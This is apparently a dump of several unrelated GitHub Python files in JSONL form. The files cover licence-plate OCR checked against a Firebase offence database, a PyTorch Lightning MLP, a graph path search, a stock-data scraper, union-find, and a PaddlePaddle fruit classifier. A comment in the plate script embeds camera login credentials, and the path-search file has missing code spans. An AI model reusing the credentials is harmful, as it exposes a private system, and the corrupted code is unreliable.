Thread(target=self.update, args=()).start()\n return self\n\n def update(self):\n while True:\n if self.stopped:\n self.stream.release()\n return\n\n # Read the next frame from the video stream\n (self.grabbed, frame) = self.stream.read()\n\n # Store the original frame\n self.original_frame = frame\n\n # Resize the original frame to the desired output resolution\n resized_frame = cv2.resize(self.original_frame, (self.output_width, self.output_height))\n\n # Store the resized frame\n self.frame = resized_frame\n\n def read(self):\n return self.frame\n\n def read_original(self):\n return self.original_frame\n\n def stop(self):\n self.stopped = True\n\n\n\n# class VideoStream:\n# \"\"\"Camera object that controls video streaming from the Picamera\"\"\"\n# # def __init__(self,resolution=(640,480),framerate=30): :820\n# def __init__(self,resolution=(420,480),framerate=30):\n# # self.stream = cv2.VideoCapture(0)\n\n# self.stream = cv2.VideoCapture(\"newCamVid1.mp4\")\n# # Read the first frame to get its shape\n# _, self.frame = self.stream.read()\n# self.frame = imutils.resize(self.frame, width=50)\n\n# #self.stream = cv2.VideoCapture(\"rtsp://thesis:thesisisit@10.0.254.12/stream2\")\n\n# ret = self.stream.set(cv2.CAP_PROP_FOURCC, cv2.VideoWriter_fourcc(*'MJPG'))\n# ret = self.stream.set(3,resolution[0])\n# ret = self.stream.set(4,resolution[1])\n \n# (self.grabbed, self.frame) = self.stream.read()\n\n# self.stopped = False\n\n# def start(self):\n# Thread(target=self.update,args=()).start()\n# return self\n\n# def update(self):\n# while True:\n# if self.stopped:\n# self.stream.release()\n# return\n\n# (self.grabbed, self.frame) = self.stream.read()\n\n# def read(self):\n# return self.frame\n\n# def stop(self):\n# self.stopped = True\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--modeldir', help='Folder the .tflite file is located in',\n required=True)\nparser.add_argument('--graph', help='Name of the .tflite file, if different than detect.tflite',\n default='detect.tflite')\nparser.add_argument('--labels', help='Name of the labelmap file, if different than labelmap.txt',\n default='labelmap.txt')\nparser.add_argument('--threshold', help='Minimum confidence threshold for displaying detected objects',\n default=0.5)\nparser.add_argument('--resolution', help='Desired webcam resolution in WxH. If the webcam does not support the resolution entered, errors may occur.',\n default='640x480')\nparser.add_argument('--edgetpu', help='Use Coral Edge TPU Accelerator to speed up detection',\n action='store_true')\n\nargs = parser.parse_args()\n\nMODEL_NAME = args.modeldir\nGRAPH_NAME = args.graph\nLABELMAP_NAME = args.labels\nmin_conf_threshold = float(args.threshold)\nresW, resH = args.resolution.split('x')\nimW, imH = int(resW), int(resH)\nuse_TPU = args.edgetpu\n\n\npkg = importlib.util.find_spec('tflite_runtime')\nif pkg:\n from tflite_runtime.interpreter import Interpreter\n if use_TPU:\n from tflite_runtime.interpreter import load_delegate\nelse:\n from tensorflow.lite.python.interpreter import Interpreter\n if use_TPU:\n from tensorflow.lite.python.interpreter import load_delegate\n\nif use_TPU:\n if (GRAPH_NAME == 'detect.tflite'):\n GRAPH_NAME = 'edgetpu.tflite' \n\nCWD_PATH = os.getcwd()\n\nPATH_TO_CKPT = os.path.join(CWD_PATH,MODEL_NAME,GRAPH_NAME)\n\nPATH_TO_LABELS = os.path.join(CWD_PATH,MODEL_NAME,LABELMAP_NAME)\n\nwith open(PATH_TO_LABELS, 'r') as f:\n labels = [line.strip() for line in f.readlines()]\n\nif labels[0] == '???':\n del(labels[0])\n\nif use_TPU:\n interpreter = Interpreter(model_path=PATH_TO_CKPT,\n experimental_delegates=[load_delegate('libedgetpu.so.1.0')])\n print(PATH_TO_CKPT)\nelse:\n interpreter = Interpreter(model_path=PATH_TO_CKPT)\n\ninterpreter.allocate_tensors()\n\n# Get model details\ninput_details = interpreter.get_input_details()\noutput_details = interpreter.get_output_details()\nheight = input_details[0]['shape'][1]\nwidth = input_details[0]['shape'][2]\n\nfloating_model = (input_details[0]['dtype'] == np.float32)\n\ninput_mean = 127.5\ninput_std = 127.5\n\n\noutname = output_details[0]['name']\n\nif ('StatefulPartitionedCall' in outname): \n boxes_idx, classes_idx, scores_idx = 1, 3, 0\nelse: \n boxes_idx, classes_idx, scores_idx = 0, 1, 2\n\nframe_rate_calc = 1\nfreq = cv2.getTickFrequency()\n\nvideostream = VideoStream(resolution=(imW,imH),framerate=30).start()\ncount = 0\nexit = 0\ndetected = False\nimage_output = \"iMAGE.jpg\"\n\n\ndef checkExist():\n global exit\n global prev_txt\n while True:\n if exit == 0:\n filename = \"scanned_platenumbers.txt\"\n first_line = \"\"\n # Open the file for reading and writing\n with open(filename, \"r+\") as file:\n # Read the first line of the file\n first_line = file.readline().strip()\n # Read the remaining lines of the file\n remaining_lines = file.readlines()\n # Overwrite the file with the remaining lines\n file.seek(0)\n file.writelines(remaining_lines)\n file.truncate()\n # Close the file\n file.close()\n plateNum = first_line\n\n # print('check '+plateNum)\n\n try:\n if len(plateNum)>0:\n # Get all plate numbers in \"Vehicle_with_criminal_offense\" node\n plate_nums = db.child(\"Vehicle_with_criminal_offense\").shallow().get().val()\n \n # Find closest match to input\n global closest_match\n closest_match = None\n min_distance = float('inf')\n for num in plate_nums:\n distance = Levenshtein.distance(plateNum, num)\n if distance < min_distance:\n closest_match = num\n min_distance = distance\n \n confidence = round((1 - (min_distance / len(plateNum))) * 100, 2)\n if confidence >= 60 and closest_match not in prev_txt:\n exist = db.child(\"Vehicle_with_criminal_offense\").child(closest_match).child(\"plateNumber\").get()\n #print(exist.val())\n if exist.val() != None:\n isApprehended = db.child(\"Vehicle_with_criminal_offense\").child(closest_match).child(\"apprehended\").get()\n #print(\"isApprehended \"+isApprehended.val())\n if isApprehended.val() != 'yes':\n print('Notify '+plateNum)\n # Create Data\n nowD = datetime.now()\n dateToday = str(date.today())\n timeToday = nowD.strftime(\"%H:%M:%S\")\n crimeScanned = db.child(\"Vehicle_with_criminal_offense\").child(closest_match).child(\"criminalOffense\").get()\n\n color = ''\n if confidence >= 60 and confidence <= 75:\n color='yellow'\n elif confidence > 75 and confidence <= 100:\n color='red'\n\n data = {\"PlateNumber\":closest_match, \"Location\": \"Lapasan Zone 4\", \"Date\": dateToday, \"Time\": timeToday, \"Notification\": \"on\", \"Apprehended\": \"no\", \"CriminalOffense\": crimeScanned.val(), 'Color': color, 'DetectedPN': plateNum}\n db.child(\"Scanned\").child((dateToday+\" \"+timeToday)).set(data)\n dataPlateNumber = {\"PlateNumber\":closest_match, \"Apprehended\": \"no\",\"CriminalOffense\": crimeScanned.val()}\n db.child(\"ScannedPlateNumber\").child(closest_match).set(dataPlateNumber)\n\n #For Notification\n db.child(\"ScannedNotification\").set(data)\n db.child(\"ScannedPlateNumberNotification\").set(dataPlateNumber)\n prev_txt.append(closest_match)\n else:\n print(\" \")\n #print(\"Plate Number dont't exist\")\n except Exception as e:\n print(\"err \"+str(e))\n #print(\"Plate Number dont't exist \"+ str(e))\n #print()\n #print('checkDatabase')\n #print('Latest data:', plateNum)\n #print()\n #time.sleep(1)\n else:\n break\n\ndef saveForQuery():\n global exit\n filename = \"scanned_platenumbers.txt\"\n prevPN = ''\n # Create the file if it doesn't exist\n if not os.path.isfile(filename):\n open(filename, \"w\").close()\n\n while True:\n if exit == 0:\n\n #Read the latest scanned on the database\n plateNum = db.child(\"ScannedQuery\").child(\"PlateNumber\").get()\n if plateNum.val() != prevPN:\n # Open the file in append mode\n with open(filename, \"a\") as file:\n # Get the text to append from the user\n plateNum = plateNum.val()\n # Append the text to the end of the file\n file.write(plateNum+ \"\\n\")\n # Close the file\n file.close()\n #print('checkdatabase')\n prevPN = plateNum\n #time.sleep(1)\n else:\n break\n\nprev_txt = []\n\ndef clear_list():\n global exit\n while True:\n if exit == 0:\n time.sleep(30)\n prev_txt.clear()\n print(\"--------------------------\")\n else:\n break\n\n\ndef ocr():\n global detected\n global exit\n global prev_txt\n while True: \n if exit == 0: \n if os.path.exists(image_output):\n try:\n img_ocr = cv2.imread(image_output)\n img_ocr = cv2.resize(img_ocr,None, fx=0.5 , fy =0.5)\n if detected == True:\n # txt =pytesseract.image_to_string(img_ocr, config='-c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ --psm 8 --oem 3')\n # print(txt) \n # Pass preprocessed image to OCR model\n result = inferencer(img_ocr, print_result=True)\n text = result['predictions'][0]['text']\n\n # Print OCR results\n print('Prediction: ',text)\n data = {\"PlateNumber\":text}\n db.child(\"ScannedQuery\").set(data)\n try:\n os.remove(image_output)\n except OSError as e:\n print(f\"Error: {image_output} path could not be delete. {e}\")\n except Exception as e:\n print(\"\")\n #print(\"An error occured:\", str(e))\n else:\n \n \n continue\n \n else:\n break\n\ndef detection():\n global frame_rate_calc\n global detected\n global exit\n # Set the target frame rate in frames per second\n target_fps = 10\n\n # Calculate the delay between frames in seconds\n frame_delay = 1.0 / target_fps\n while True:\n start_time = time.monotonic()\n t1 = cv2.getTickCount()\n frame1 = videostream.read()\n\n frame = frame1.copy()\n # frame = imutils.resize(frame1, width=820)\n frame_rgb = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n frame_resized = cv2.resize(frame_rgb, (width, height))\n input_data = np.expand_dims(frame_resized, axis=0)\n\n if floating_model:\n input_data = (np.float32(input_data) - input_mean) / input_std\n\n interpreter.set_tensor(input_details[0]['index'],input_data)\n interpreter.invoke()\n\n boxes = interpreter.get_tensor(output_details[boxes_idx]['index'])[0]\n classes = interpreter.get_tensor(output_details[classes_idx]['index'])[0] \n scores = interpreter.get_tensor(output_details[scores_idx]['index'])[0]\n\n area = [(1,160),(647,160),(647,360),(1,360)] #Bahog ug video\n\n # area = [(1,257),(639,257),(639,480),(1,480)] #sa laptop cam\n # area = [(2,243),(637,243),(637,360),(2,360)] #sa CCTV\n\n for i in range(len(scores)):\n if ((scores[i] > min_conf_threshold) and (scores[i] <= 1.0)):\n\n ymin = int(max(1,(boxes[i][0] * imH)))\n xmin = int(max(1,(boxes[i][1] * imW)))\n ymax = int(min(imH,(boxes[i][2] * imH)))\n xmax = int(min(imW,(boxes[i][3] * imW)))\n \n cx = int((xmin + xmax)/2)\n cy = int((ymin + ymax)/2)\n result = cv2.pointPolygonTest(np.array(area, np.int32), (int(cx), int(cy)), False)\n if result >= 0:\n detected = True\n # cv2.rectangle(frame, (xmin,ymin), (xmax,ymax), (10, 255, 0), 2)\n\n object_name = labels[int(classes[i])] \n label = '%s: %d%%' % (object_name, int(scores[i]*100)) \n labelSize, baseLine = cv2.getTextSize(label, cv2.FONT_HERSHEY_SIMPLEX, 0.7, 2) \n label_ymin = max(ymin, labelSize[1] + 10) \n cv2.rectangle(frame, (xmin, label_ymin-labelSize[1]-10), (xmin+labelSize[0], label_ymin+baseLine-10), (255, 255, 255), cv2.FILLED)\n cv2.putText(frame, label, (xmin, label_ymin-7), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (0, 0, 0), 2) \n # cv2.circle(frame,(cx,cy),5,(10, 255, 0),-1)\n imgRoi = frame[ymin:ymax, xmin:xmax]\n cv2.imwrite(\"iMAGE.jpg\", imgRoi)\n \n else:\n detected = False\n for i in area:\n cv2.polylines(frame,[np.array(area, np.int32)], True, (15,220,10),6)\n\n cv2.putText(frame,'FPS: {0:.2f}'.format(frame_rate_calc),(30,50),cv2.FONT_HERSHEY_SIMPLEX,1,(255,255,0),2,cv2.LINE_AA)\n \n # frame1 = imutils.resize(frame, width=650)\n cv2.imshow('Object detector', frame)\n\n \n t2 = cv2.getTickCount()\n time1 = (t2-t1)/freq\n frame_rate_calc= 1/time1\n \n\n if cv2.waitKey(1) == ord('q'):\n exit =1\n break\n elapsed_time = time.monotonic() - start_time\n time.sleep(max(0, frame_delay - elapsed_time))\n videostream.stop()\n cv2.destroyAllWindows()\n\ntask1 = Thread(target=detection)\ntask2 = Thread(target=ocr)\ntask3 = Thread(target=saveForQuery)\ntask4 = Thread(target=checkExist)\ntask5 = Thread(target=clear_list)\n\nwhile True:\n task1.start()\n task2.start()\n task3.start()\n task4.start()\n task5.start()\n\n\n task1.join()\n task2.join()\n task3.join()\n task4.join()\n task5.join()\n if exit ==1:\n print(\"Done executing\")\n break","repo_name":"Millborne-g/MMOCR-codes","sub_path":"camLatest_polylines.py","file_name":"camLatest_polylines.py","file_ext":"py","file_size_in_byte":17846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"38019262331","text":"from typing import Any, List\nfrom pytorch_lightning import LightningModule\nfrom src.models.fcvae_model_v1 import FCVAEModelV1\nfrom src.models.fcvae_model_v2 import FCVAEModelV2\nfrom src.models.fcae_model import FCAEModel\nfrom torch import nn\nimport torch\nfrom torchmetrics.classification.accuracy import Accuracy\n\n\nclass ExtractorFCMLPModel(LightningModule):\n \"\"\"\n A LightningModule organizes your PyTorch code into 5 sections:\n - Computations (init).\n - Train loop (training_step)\n - Validation loop (validation_step)\n - Test loop (test_step)\n - Optimizers (configure_optimizers)\n\n Read the docs:\n https://pytorch-lightning.readthedocs.io/en/latest/common/lightning_module.html\n \"\"\"\n\n def __init__(\n self,\n extractor_path: str = \"\",\n task: str = \"regression\",\n n_output: int = 1,\n topology: List[int] = None,\n dropout: float = 0.1,\n num_unfreeze_epochs = 10,\n loss_type: str = \"MSE\",\n extractor_type: str = \"FCVAEModelV2\",\n lr: float = 0.001,\n weight_decay: float = 0.0005,\n **kwargs\n ):\n super().__init__()\n self.save_hyperparameters()\n\n self.extractor_type = extractor_type\n if self.extractor_type == \"FCVAEModelV1\":\n self.feature_extractor = FCVAEModelV1.load_from_checkpoint(extractor_path)\n elif self.extractor_type == \"FCVAEModelV2\":\n self.feature_extractor = FCVAEModelV2.load_from_checkpoint(extractor_path)\n elif self.extractor_type == \"FCAEModel\":\n self.feature_extractor = FCAEModel.load_from_checkpoint(extractor_path)\n else:\n raise ValueError(\"Unsupported extractor_type\")\n\n self.feature_extractor.freeze()\n\n self.task = task\n self.n_output = n_output\n self.topology = [self.feature_extractor.model.n_latent] + list(topology)\n\n self.num_unfreeze_epochs = num_unfreeze_epochs\n\n self.mlp_layers = []\n for i in range(len(self.topology) - 1):\n layer = nn.Linear(self.topology[i], self.topology[i + 1])\n self.mlp_layers.append(nn.Sequential(layer, nn.ReLU(), nn.BatchNorm1d(self.topology[i + 1]), nn.Dropout(dropout)))\n self.mlp_layers.append(nn.Linear(self.topology[-1], self.n_output))\n\n if task == \"classification\":\n self.loss_fn = torch.nn.CrossEntropyLoss(reduction='mean')\n if n_output < 2:\n raise ValueError(f\"Classification with {n_output} classes\")\n elif task == \"regression\":\n if self.hparams.loss_type == \"MSE\":\n self.loss_fn = torch.nn.MSELoss(reduction='mean')\n elif self.hparams.loss_type == \"L1Loss\":\n self.loss_fn = torch.nn.L1Loss(reduction='mean')\n else:\n raise ValueError(\"Unsupported loss_type\")\n\n self.mlp = nn.Sequential(*self.mlp_layers)\n\n self.accuracy = Accuracy()\n\n def on_epoch_end(self):\n # a hook is cleaner (but a callback is much better)\n if self.trainer.current_epoch == self.num_unfreeze_epochs:\n self.feature_extractor.unfreeze()\n\n def forward(self, x: torch.Tensor):\n z = self.feature_extractor.get_latent(x)\n return self.mlp(z)\n\n def get_probabilities(self, x: torch.Tensor):\n x = self.feature_extractor.get_latent(x)\n x = self.mlp(x)\n return torch.softmax(x, dim=1)\n\n def step(self, batch: Any):\n x, y, ind = batch\n out = self.forward(x)\n batch_size = x.size(0)\n y = y.view(batch_size, -1)\n loss = self.loss_fn(out, y)\n\n logs = {\"loss\": loss}\n if self.task == \"classification\":\n out_tag = torch.argmax(out, dim=1)\n acc = self.accuracy(out_tag, y)\n logs[\"acc\"] = acc\n\n return loss, logs\n\n def training_step(self, batch: Any, batch_idx: int):\n loss, logs = self.step(batch)\n d = {f\"train/{k}\": v for k, v in logs.items()}\n self.log_dict(d, on_step=False, on_epoch=True, logger=True)\n return logs\n\n def training_epoch_end(self, outputs: List[Any]):\n pass\n\n def validation_step(self, batch: Any, batch_idx: int):\n loss, logs = self.step(batch)\n d = {f\"val/{k}\": v for k, v in logs.items()}\n self.log_dict(d, on_step=False, on_epoch=True, logger=True)\n return logs\n\n def validation_epoch_end(self, outputs: List[Any]):\n pass\n\n def test_step(self, batch: Any, batch_idx: int):\n loss, logs = self.step(batch)\n d = {f\"test_{k}\": v for k, v in logs.items()}\n self.log_dict(d, on_step=False, on_epoch=True, logger=True)\n return logs\n\n def test_epoch_end(self, outputs: List[Any]):\n pass\n\n def configure_optimizers(self):\n \"\"\"Choose what optimizers and learning-rate schedulers to use in your optimization.\n Normally you'd need one. But in the case of GANs or similar you might have multiple.\n\n See examples here:\n https://pytorch-lightning.readthedocs.io/en/latest/common/lightning_module.html#configure-optimizers\n \"\"\"\n return torch.optim.Adam(\n params=self.parameters(), lr=self.hparams.lr, weight_decay=self.hparams.weight_decay\n )\n","repo_name":"GillianGrayson/dnamvae","sub_path":"src/models/extractor_mlp_model.py","file_name":"extractor_mlp_model.py","file_ext":"py","file_size_in_byte":5328,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"79"} +{"seq_id":"14567317943","text":"from sys import argv\r\nimport copy\r\nfrom operator import itemgetter\r\nimport time\r\ndef shortPath(towns,city,target,path,i):\r\n\tif(city==[]):\r\n\t\treturn\r\n\telse:\t\r\n\t\tglobal maxWeight,flag,paths\r\n\t\tcity=sorted(city,key=itemgetter(1))[::-1]\r\n\t\tfor p in city:\t\t\t\r\n\t\t\tif(p[0]==target):\r\n\t\t\t\tprevMaxWeight=maxWeight\t\t\r\n\t\t\t\tpath[i]=p\r\n\t\t\t\tmaxWeight=p[1]\t\t\t\t\t\t\r\n\t\t\t\tfor n in range(i,-1,-1):\r\n\t\t\t\t\tif(path[n][1]prevMaxWeight):\r\n\t\t\t\t\tpaths=copy.copy(path)\t\t\t\t\r\n\t\t\t\t\tcontinue\t\t\t\r\n\t\t\t\telse:\t\t\r\n\t\t\t\t\tmaxWeight=prevMaxWeight\t\r\n\t\t\t\t\tcontinue\r\n\t\t\tif p[1] \"+str(n[0])\r\n\t\tif(n[1] 0 :\n for file in each_file:\n date_stamp = datetime.strptime(file, '%Y%m%d%H%M%S.html')\n unix_time = time.mktime(date_stamp.timetuple())\n #print(date_stamp, unix_time)\n full_file_path = each_dir+'/'+file\n #print(full_file_path)\n source = open(full_file_path, 'r').read()\n #print(source)\n try:\n value = float(source.split(gather+':')[1].split('')[0])\n #print(ticker+\":\",value)\n df = df.append({'Date':date_stamp, 'Unix':unix_time, 'Ticker':ticker, 'De Ratio':value,}, ignore_index = True)\n except Exception as e:\n pass\n\n #time.sleep(15)\n save = gather.replace(' ', '').replace(')', '').replace('(','').replace('/', '')+ ('.csv')\n print(save)\n df.to_csv(save)\n\n\nKey_Stats()\n\n\n#note \n#1\n#The df variable is used to store the creation of a new \"DataFrame\" object from Pandas, where we specify the columns to be date, unix, ticker, and DE ratio\n\n#2\n#The Try here identifies the value as usual, then we're re-defining our DataFrame object as the previous DataFrame object with the new data appended to it\n\n#3\n#specifying a custom name for the csv file, then using pandas to_csv capability to output the Data Frame to an actual CSV file\n#Running this then saves the dataframe as a CSV spreadsheet for us. We want to save the data since we really just need to access and store the data once","repo_name":"TakahiroSuzukiqq/python-machineleaning-wk1","sub_path":"structuring_data.py","file_name":"structuring_data.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"} +{"seq_id":"14395725370","text":"import math\nfrom collections import defaultdict, Counter\n\n\nclass DSU:\n def __init__(self, N):\n self.p = list(range(N))\n\n def find(self, x):\n if self.p[x] != x:\n self.p[x] = self.find(self.p[x])\n return self.p[x]\n\n def union(self, x, y):\n xr, yr = self.find(x), self.find(y)\n self.p[xr] = yr\n\n\nclass Solution:\n def primes_set(self, n):\n for i in range(2, int(math.sqrt(n))+1):\n if n % i == 0:\n return self.primes_set(n//i) | set([i])\n return set([n])\n\n def largest_component_size(self, A):\n \"\"\"\n Time O(n * log(2m) * log(m)) where n is the number of elements\n and m is the max value in list\n Space: O(n + m)\n \"\"\"\n n = len(A)\n UF = DSU(n)\n primes = defaultdict(list)\n for i, num in enumerate(A):\n pr_set = self.primes_set(num)\n for q in pr_set:\n primes[q].append(i)\n for _, indexes in primes.items():\n for i in range(len(indexes)-1):\n UF.union(indexes[i], indexes[i+1])\n return max(Counter([UF.find(i) for i in range(n)]).values())\n","repo_name":"tuvo1106/1337code","sub_path":"0952_largest_component/largest.py","file_name":"largest.py","file_ext":"py","file_size_in_byte":1171,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"79"} +{"seq_id":"23830703999","text":"# 01_fruits.py\n# 利用CNN实现图像分类\n# 数据集：爬虫从百度图片搜索结果爬取\n# 内容：包含1036张水果图片\n# 共5个类别（苹果288张、香蕉275张、葡萄216张、\n# 橙子276张、梨251张）\n\n################## 数据预处理 ##################\nimport os\n\nname_dict = {\"apple\": 0, \"banana\": 1, \"grape\": 2,\n \"orange\": 3, \"pear\": 4}\ndata_root_path = \"data/fruits/\" # 数据集所在目录\n# 测试集、训练集文件路径\ntest_file_path = data_root_path + \"test.txt\"\ntrain_file_path = data_root_path + \"train.txt\"\nname_data_list = {} # 记录每个类别有那些图片\n\n\ndef save_name_data_list(path, # 图像路径\n name): # 类别名称\n if name not in name_data_list: # 字典中没有该类别\n img_list = [] # 创建空列表\n img_list.append(path) # 将图片存入列表\n name_data_list[name] = img_list # 存入字典\n else: # 字典中已经存在该类别\n name_data_list[name].append(path)\n\n\n# 遍历数据集中的每个子目录，取出图像样本路径\n# 并写入name_data_list字典\ndirs = os.listdir(data_root_path)\nfor d in dirs:\n full_path = data_root_path + d # 子目录完整路径\n # print(full_path)\n if os.path.isdir(full_path): # 是一个目录\n imgs = os.listdir(full_path) # 列出所有文件\n for img in imgs:\n img_full_path = full_path + \"/\" + img\n save_name_data_list(img_full_path,\n d) # 目录名称即类别名称\n else: # 文件\n pass\n\n# 遍历name_data_list字典，划分测试集、训练集\nwith open(test_file_path, \"w\") as f:\n pass\n\nwith open(train_file_path, \"w\") as f:\n pass\n\n# 遍历字典\nfor name, img_list in name_data_list.items():\n i = 0\n num = len(img_list) # 获取每个列别图片数量\n print(\"%s: %d张\" % (name, num))\n\n for img in img_list:\n line = \"%s\\t%d\\n\" % (img, name_dict[name])\n if i % 10 == 0: # 划分到测试集合\n with open(test_file_path, \"a\") as f:\n f.write(line)\n else: # 划分到训练集\n with open(train_file_path, \"a\") as f:\n f.write(line)\n i += 1\nprint(\"数据预处理完成.\")\n\n############### 模型搭建/训练 ##################\nimport paddle\nimport paddle.fluid as fluid\nimport numpy\nimport sys\nimport os\nfrom multiprocessing import cpu_count\nimport time\nimport matplotlib.pyplot as plt\n\n\ndef train_mapper(sample):\n \"\"\"\n 根据传入样本路径、类别，读取图像数据\n :param sample: 一行文本样本, 元组(文件路径,类别)\n :return: 返回图像数据、类别\n \"\"\"\n img, label = sample # img为路径, lable为类别\n if not os.path.exists(img):\n print(img, \"文件不存在\")\n\n # 读取文件内容\n img = paddle.dataset.image.load_image(img)\n # 将图像设置为固定大小\n img = paddle.dataset.image.simple_transform(\n im=img, # 原始图像\n resize_size=100, # 图像缩放大小\n crop_size=100, # 裁剪图像大小\n is_color=True, # 彩色图像\n is_train=True) # 训练模型(做随机裁剪)\n # 归一化处理，将每个像素值转换为0~1之间\n img = img.astype(\"float32\") / 255.0\n return img, label\n\n\n# 从训练集中读取数据\ndef train_r(train_list, buffred_size=1024):\n def reader():\n with open(train_list, \"r\") as f:\n lines = f.readlines()\n for line in lines:\n # 去除空格和换行符\n line = line.strip().replace(\"\\n\", \"\")\n img_path, lab = line.split(\"\\t\")\n\n yield img_path, int(lab)\n\n return paddle.reader.xmap_readers(\n train_mapper, # 接收reader读取的数据二次处理\n reader, # 原始读取器\n cpu_count(), # 线程数量\n buffred_size) # 缓冲区大小\n\n# 定义reader\nBATCH_SIZE = 32 # 批次大小\n\ntrainer_reader = train_r(train_list=train_file_path)\nrandom_train_reader = paddle.reader.shuffle(\n reader=trainer_reader,\n buf_size=1300) # 随机读取器\nbatch_train_reader = paddle.batch(\n random_train_reader,\n batch_size=BATCH_SIZE)\n\n# 占位符\nimage = fluid.layers.data(name=\"image\",\n shape=[3, 100, 100],\n dtype=\"float32\")\nlabel = fluid.layers.data(name=\"label\",\n shape=[1],\n dtype=\"int64\")\n\ndef create_CNN(image, type_size):\n \"\"\"\n 搭建卷积神经网络\n :param image: 图像数据(经过归一化处理)\n :param type_size:类别数量\n :return: 一组分类概率\n \"\"\"\n # 第一组 conv/pool/dropout\n conv_pool_1 = fluid.nets.simple_img_conv_pool(\n input=image, # 输入图像数据\n filter_size=3, # 卷积核大小\n num_filters=32, # 卷积核数量\n pool_size=2, # 2*2区域做池化\n pool_stride=2, # 池化步长\n act=\"relu\") # 激活函数\n drop = fluid.layers.dropout(x=conv_pool_1,\n dropout_prob=0.5)\n\n # 第二组 conv/pool/dropout\n conv_pool_2 = fluid.nets.simple_img_conv_pool(\n input=drop, # 前一个dropout输出作为输入\n filter_size=3, # 卷积核大小\n num_filters=64, # 卷积核数量\n pool_size=2, # 2*2区域做池化\n pool_stride=2, # 池化步长\n act=\"relu\") # 激活函数\n drop = fluid.layers.dropout(x=conv_pool_2,\n dropout_prob=0.5)\n\n # 第三组 conv/pool/dropout\n conv_pool_3 = fluid.nets.simple_img_conv_pool(\n input=drop, # 前一个dropout输出作为输入\n filter_size=3, # 卷积核大小\n num_filters=64, # 卷积核数量\n pool_size=2, # 2*2区域做池化\n pool_stride=2, # 池化步长\n act=\"relu\") # 激活函数\n drop = fluid.layers.dropout(x=conv_pool_3,\n dropout_prob=0.5)\n\n # fc\n fc = fluid.layers.fc(input=drop,\n size=512, # 神经元数量\n act=\"relu\")\n # dropout\n drop = fluid.layers.dropout(x=fc,\n dropout_prob=0.5)\n # 输出层(使用softmax作为激活函数的fc)\n predict = fluid.layers.fc(input=drop,\n size=type_size,\n act=\"softmax\")\n return predict\n\n# 创建VGG模型\ndef vgg_bn_drop(image, type_size):\n def conv_block(ipt, num_filter, groups, dropouts):\n return fluid.nets.img_conv_group(\n input=ipt, # 输入图像， 格式[N,C,H,W]\n pool_stride=2,#池化步长\n pool_size=2, #池化区域大小\n conv_num_filter=[num_filter] * groups,\n conv_filter_size=3, #卷积核大小\n conv_act=\"relu\",#激活函数\n conv_with_batchnorm=True,#是否采用BN\n pool_type=\"max\")#池化类型\n\n conv1 = conv_block(image, 64, 2, [0.0, 0.0])\n conv2 = conv_block(conv1, 128, 2, [0.0, 0.0])\n conv3 = conv_block(conv2, 256, 3, [0.0, 0.0, 0.0])\n conv4 = conv_block(conv3, 512, 3, [0.0, 0.0, 0.0])\n conv5 = conv_block(conv4, 512, 3, [0.0, 0.0, 0.0])\n\n drop = fluid.layers.dropout(x=conv5, dropout_prob=0.5)\n fc1 = fluid.layers.fc(input=drop,\n size=512,\n act=None)\n bn = fluid.layers.batch_norm(input=fc1,\n act=\"relu\")#批量归一化\n drop2 = fluid.layers.dropout(x=bn, dropout_prob=0.0)\n fc2 = fluid.layers.fc(input=drop2,\n size=512,\n act=None)\n predict = fluid.layers.fc(input=fc2,\n size=type_size,\n act=\"softmax\")\n return predict\n\n\n# 调用函数，创建模型\n# predict = create_CNN(image=image, type_size=5)\npredict = vgg_bn_drop(image=image, type_size=5)\n# 损失函数\ncost = fluid.layers.cross_entropy(\n input=predict,\n label=label)\navg_cost = fluid.layers.mean(cost)\n# 准确率\naccuracy = fluid.layers.accuracy(input=predict,\n label=label)\n# 优化器\noptimizer = fluid.optimizer.Adam(\n learning_rate=0.001)\noptimizer.minimize(avg_cost) # 优化目标函数\n\n# 执行器\nplace = fluid.CUDAPlace(0) # GPU训练\nexe = fluid.Executor(place)\nexe.run(fluid.default_startup_program())\n# feeder\nfeeder = fluid.DataFeeder(\n feed_list=[image, label],\n place=place)\n\ncosts = [] # 记录损失函数值\naccs = [] # 记录准确度\ntimes = 0\nbatchs = [] # 迭代次数\n\n# 开始训练\nfor pass_id in range(5):\n train_cost = 0 # 临时变量，记录损失值\n train_acc = 0\n times += 1\n for batch_id, data in enumerate(batch_train_reader()):\n train_cost, train_acc = exe.run(\n program=fluid.default_main_program(),\n feed=feeder.feed(data), # 喂入参数\n fetch_list=[avg_cost, accuracy])\n # 打印损失值、准确率\n if batch_id % 20 == 0:\n print(\"pass_id:%d, batch_id:%d, cost:%f, acc:%f\"\n % (pass_id, batch_id,\n train_cost[0], train_acc[0]))\n accs.append(train_acc[0])\n costs.append(train_cost[0])\n batchs.append(times)\n# 保存模型\nmodel_save_dir = \"./model/fruits/\"\nif not os.path.exists(model_save_dir):\n os.makedirs(model_save_dir)\nfluid.io.save_inference_model(\n dirname=model_save_dir, #保存路径\n feeded_var_names=[\"image\"],#预测时传入参数\n target_vars=[predict],#预测结果\n executor=exe)#执行器\n\nprint(\"模型保存成功:\", model_save_dir)\n\n# 训练过程可视化\nplt.title(\"training\", fontsize=24)\nplt.xlabel(\"iter\", fontsize=20)\nplt.ylabel(\"cost/acc\", fontsize=20)\nplt.plot(batchs, costs, color='red', label=\"Training Cost\")\nplt.plot(batchs, accs, color='green', label=\"Training Acc\")\nplt.legend()\nplt.grid()\nplt.savefig(\"train.png\")\nplt.show()\n\n\n#################### 预测 #####################\nfrom PIL import Image\n\n# 加载图像数据\ndef load_img(path): # path为图像路径\n img = paddle.dataset.image.load_and_transform(\n path, 100, 100, False).astype(\"float32\")\n img = img / 255.0 # 归一化\n\n return img\n\n# 定义执行器\nplace = fluid.CPUPlace()\ninfer_exe = fluid.Executor(place) #用于预测的执行器\n\ninfer_imgs = [] # 存放待预测的图像数据\ntest_img = \"apple_1.png\" # 待测试的图像\ninfer_imgs.append(load_img(test_img))#将图像数据存入待预测列表\n\ninfer_imgs = 